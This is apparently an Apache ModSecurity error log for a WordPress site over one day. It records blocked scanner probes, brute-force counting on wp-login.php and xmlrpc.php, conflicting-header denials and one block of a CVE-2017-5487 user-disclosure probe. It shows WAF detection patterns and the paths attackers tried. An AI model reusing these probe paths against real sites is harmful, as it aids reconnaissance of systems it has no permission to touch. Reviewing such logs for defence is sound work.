[Wed May 13 04:45:23.223867 2026] [:error] [pid 23787:tid 23862] [client 65.108.78.33:51416] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agORYx1cs5wE7VT6wiqQVgAAAI4"]
[Wed May 13 04:45:25.332188 2026] [:error] [pid 3259:tid 3269] [client 65.108.78.33:51430] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agORZeWJB4YwcPVLeApmJwAAAQg"]
[Wed May 13 04:45:27.337406 2026] [:error] [pid 23780:tid 23800] [client 65.108.78.33:51436] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agORZ3XgOibPjrXgeTA30wAAAAY"]
[Wed May 13 04:45:29.338554 2026] [:error] [pid 23787:tid 23854] [client 65.108.78.33:51448] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agORaR1cs5wE7VT6wiqQWgAAAIY"]
[Wed May 13 04:45:31.514218 2026] [:error] [pid 23782:tid 23845] [client 65.108.78.33:51460] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agORayBrKFYHXUGnR-pp8gAAAFg"]
[Wed May 13 04:45:33.621792 2026] [:error] [pid 23780:tid 23816] [client 65.108.78.33:39692] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agORbXXgOibPjrXgeTA31wAAABY"]
[Wed May 13 04:45:35.568306 2026] [:error] [pid 23782:tid 23822] [client 65.108.78.33:39708] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agORbyBrKFYHXUGnR-pp9QAAAEE"]
[Wed May 13 04:45:37.529538 2026] [:error] [pid 23787:tid 23857] [client 65.108.78.33:39710] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agORcR1cs5wE7VT6wiqQXgAAAIk"]
[Wed May 13 04:45:39.663334 2026] [:error] [pid 23782:tid 23823] [client 65.108.78.33:39724] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agORcyBrKFYHXUGnR-pp-wAAAEI"]
[Wed May 13 04:45:41.592852 2026] [:error] [pid 23787:tid 23861] [client 65.108.78.33:39732] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agORdR1cs5wE7VT6wiqQXwAAAI0"]
[Wed May 13 04:45:43.479389 2026] [:error] [pid 23787:tid 23870] [client 65.108.78.33:45560] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agORdx1cs5wE7VT6wiqQYgAAAJY"]
[Wed May 13 04:45:45.544231 2026] [:error] [pid 23782:tid 23835] [client 65.108.78.33:45568] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agOReSBrKFYHXUGnR-pp_QAAAE4"]
[Wed May 13 04:45:47.485209 2026] [:error] [pid 23780:tid 23801] [client 65.108.78.33:45598] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agORe3XgOibPjrXgeTA32wAAAAc"]
[Wed May 13 04:45:49.620652 2026] [:error] [pid 23782:tid 23824] [client 65.108.78.33:45614] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agORfSBrKFYHXUGnR-pqAAAAAEM"]
[Wed May 13 04:45:51.785598 2026] [:error] [pid 23780:tid 23799] [client 65.108.78.33:51542] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agORf3XgOibPjrXgeTA33AAAAAU"]
[Wed May 13 04:45:53.912205 2026] [:error] [pid 23787:tid 23850] [client 65.108.78.33:51548] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agORgR1cs5wE7VT6wiqQegAAAII"]
[Wed May 13 04:45:55.917171 2026] [:error] [pid 23782:tid 23830] [client 65.108.78.33:51552] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agORgyBrKFYHXUGnR-pqAgAAAEk"]
[Wed May 13 04:45:57.898541 2026] [:error] [pid 23887:tid 23915] [client 65.108.78.33:51564] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agORhdSKmvZJZkXBFDDfswAAANQ"]
[Wed May 13 04:45:59.916296 2026] [:error] [pid 3259:tid 3261] [client 65.108.78.33:51578] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agORh-WJB4YwcPVLeApmagAAAQA"]
[Wed May 13 06:10:07.065602 2026] [:error] [pid 3259:tid 3263] [client 43.173.1.57:36350] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agOlP-WJB4YwcPVLeAqA5gAAAQI"]
[Wed May 13 06:39:30.223144 2026] [:error] [pid 23780:tid 23798] [client 146.56.197.150:35622] [client 146.56.197.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agOsInXgOibPjrXgeTBC9QAAAAQ"]
[Wed May 13 08:55:04.464159 2026] [:error] [pid 23780:tid 23817] [client 106.192.67.27:51970] [client 106.192.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.192.67.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPL6HXgOibPjrXgeTBR6wAAABc"]
[Wed May 13 08:55:14.994691 2026] [:error] [pid 23887:tid 23913] [client 106.192.67.27:52462] [client 106.192.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.192.67.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPL8tSKmvZJZkXBFDAhngAAANI"]
[Wed May 13 08:55:25.535263 2026] [:error] [pid 3259:tid 3271] [client 106.192.67.27:52786] [client 106.192.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.192.67.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPL_eWJB4YwcPVLeAqrNQAAAQo"]
[Wed May 13 08:55:36.090351 2026] [:error] [pid 23887:tid 23906] [client 106.192.67.27:53118] [client 106.192.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.192.67.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPMCNSKmvZJZkXBFDAh-wAAAMs"]
[Wed May 13 08:55:46.820032 2026] [:error] [pid 23787:tid 23869] [client 106.192.67.27:53451] [client 106.192.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.192.67.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPMEh1cs5wE7VT6wiq5SgAAAJU"]
[Wed May 13 10:54:55.687290 2026] [:error] [pid 23782:tid 23832] [client 179.217.33.132:55713] [client 179.217.33.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.217.33.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPn_yBrKFYHXUGnR-qgYgAAAEs"]
[Wed May 13 10:55:04.859952 2026] [:error] [pid 23780:tid 23812] [client 179.217.33.132:51000] [client 179.217.33.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.217.33.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPoCHXgOibPjrXgeTBffQAAABI"]
[Wed May 13 10:55:16.509066 2026] [:error] [pid 23887:tid 23910] [client 179.217.33.132:51361] [client 179.217.33.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.217.33.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPoFNSKmvZJZkXBFDBJWAAAAM8"]
[Wed May 13 10:55:25.893398 2026] [:error] [pid 23787:tid 23867] [client 179.217.33.132:59261] [client 179.217.33.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.217.33.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPoHR1cs5wE7VT6wirQ8gAAAJM"]
[Wed May 13 10:55:36.151386 2026] [:error] [pid 3259:tid 3268] [client 179.217.33.132:54824] [client 179.217.33.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.217.33.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agPoKOWJB4YwcPVLeArHcwAAAQc"]
[Wed May 13 11:26:56.566380 2026] [:error] [pid 23782:tid 23838] [client 43.159.152.187:57884] [client 43.159.152.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agPvgCBrKFYHXUGnR-qmUgAAAFE"]
[Wed May 13 11:55:00.359939 2026] [:error] [pid 3259:tid 3272] [client 143.198.237.186:55900] [client 143.198.237.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.237.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP2FOWJB4YwcPVLeArZSgAAAQs"]
[Wed May 13 11:55:02.514456 2026] [:error] [pid 3259:tid 3277] [client 143.198.237.186:55900] [client 143.198.237.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.237.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP2FuWJB4YwcPVLeArZTAAAARA"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 12:01:38.526940 2026] [:error] [pid 3259:tid 3269] [client 5.9.73.60:38348] [client 5.9.73.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.9.73.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP3ouWJB4YwcPVLeAresgAAAQg"]
[Wed May 13 12:01:40.505725 2026] [:error] [pid 3259:tid 3279] [client 5.9.73.60:38348] [client 5.9.73.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.9.73.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP3pOWJB4YwcPVLeAreuwAAARI"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 12:09:23.251018 2026] [:error] [pid 23887:tid 23912] [client 8.231.185.200:57470] [client 8.231.185.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.231.185.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agP5c9SKmvZJZkXBFDBywgAAANE"]
[Wed May 13 12:27:30.431601 2026] [:error] [pid 3259:tid 3271] [client 180.93.137.9:54066] [client 180.93.137.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 180.93.137.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP9suWJB4YwcPVLeArtkQAAAQo"]
[Wed May 13 12:27:32.306556 2026] [:error] [pid 3259:tid 3266] [client 180.93.137.9:54066] [client 180.93.137.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 180.93.137.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agP9tOWJB4YwcPVLeArtlAAAAQU"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 12:56:19.983805 2026] [:error] [pid 27332:tid 27355] [client 165.22.99.169:56670] [client 165.22.99.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.99.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQEc46Y5F_V9bmyC4aCvwAAAVU"]
[Wed May 13 12:56:21.690772 2026] [:error] [pid 27332:tid 27342] [client 165.22.99.169:56670] [client 165.22.99.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.99.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQEdY6Y5F_V9bmyC4aCxAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 13:55:19.198401 2026] [:error] [pid 23787:tid 23849] [client 68.183.176.21:56262] [client 68.183.176.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.176.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQSRx1cs5wE7VT6wir3lgAAAIE"]
[Wed May 13 13:55:20.824530 2026] [:error] [pid 23787:tid 23851] [client 68.183.176.21:56262] [client 68.183.176.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.176.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQSSB1cs5wE7VT6wir3lwAAAIM"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 14:45:36.434461 2026] [:error] [pid 23782:tid 23831] [client 43.133.14.237:39562] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agQeECBrKFYHXUGnR-rGuQAAAEo"]
[Wed May 13 15:30:09.054607 2026] [:error] [pid 27332:tid 27355] [client 43.153.205.132:33370] [client 43.153.205.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agQogY6Y5F_V9bmyC4a86gAAAVU"]
[Wed May 13 15:36:44.891563 2026] [autoindex:error] [pid 23787:tid 23870] [client 70.153.136.253:52985] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed May 13 15:57:49.777160 2026] [:error] [pid 27332:tid 27343] [client 35.208.31.6:48328] [client 35.208.31.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.208.31.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQu_Y6Y5F_V9bmyC4bJdwAAAUk"], referer: https://gigfragments.org/login/
[Wed May 13 16:30:41.722736 2026] [:error] [pid 23780:tid 23803] [client 50.6.231.19:45464] [client 50.6.231.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.231.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQ2sXXgOibPjrXgeTCKIwAAAAk"]
[Wed May 13 16:30:43.511808 2026] [:error] [pid 23780:tid 23800] [client 50.6.231.19:45464] [client 50.6.231.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.231.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agQ2s3XgOibPjrXgeTCKKQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 16:54:35.328440 2026] [:error] [pid 55744:tid 55748] [client 203.86.122.1:55656] [client 203.86.122.1] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agQ8SwwbbCCudzl3BmmZCgAAAoA"]
[Wed May 13 18:04:26.214399 2026] [:error] [pid 23782:tid 23834] [client 103.72.78.75:56678] [client 103.72.78.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.78.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRMqiBrKFYHXUGnR-rwEwAAAE0"]
[Wed May 13 18:04:27.862783 2026] [:error] [pid 23782:tid 23844] [client 103.72.78.75:56678] [client 103.72.78.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.72.78.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRMqyBrKFYHXUGnR-rwFQAAAFc"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 18:19:37.809102 2026] [:error] [pid 23782:tid 23830] [client 43.242.226.73:52862] [client 43.242.226.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.242.226.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRQOSBrKFYHXUGnR-rz2QAAAEk"]
[Wed May 13 18:19:39.393578 2026] [:error] [pid 23782:tid 23825] [client 43.242.226.73:52862] [client 43.242.226.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.242.226.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agRQOyBrKFYHXUGnR-rz3gAAAEQ"], referer: https://gigfragments.org/wp-login.php
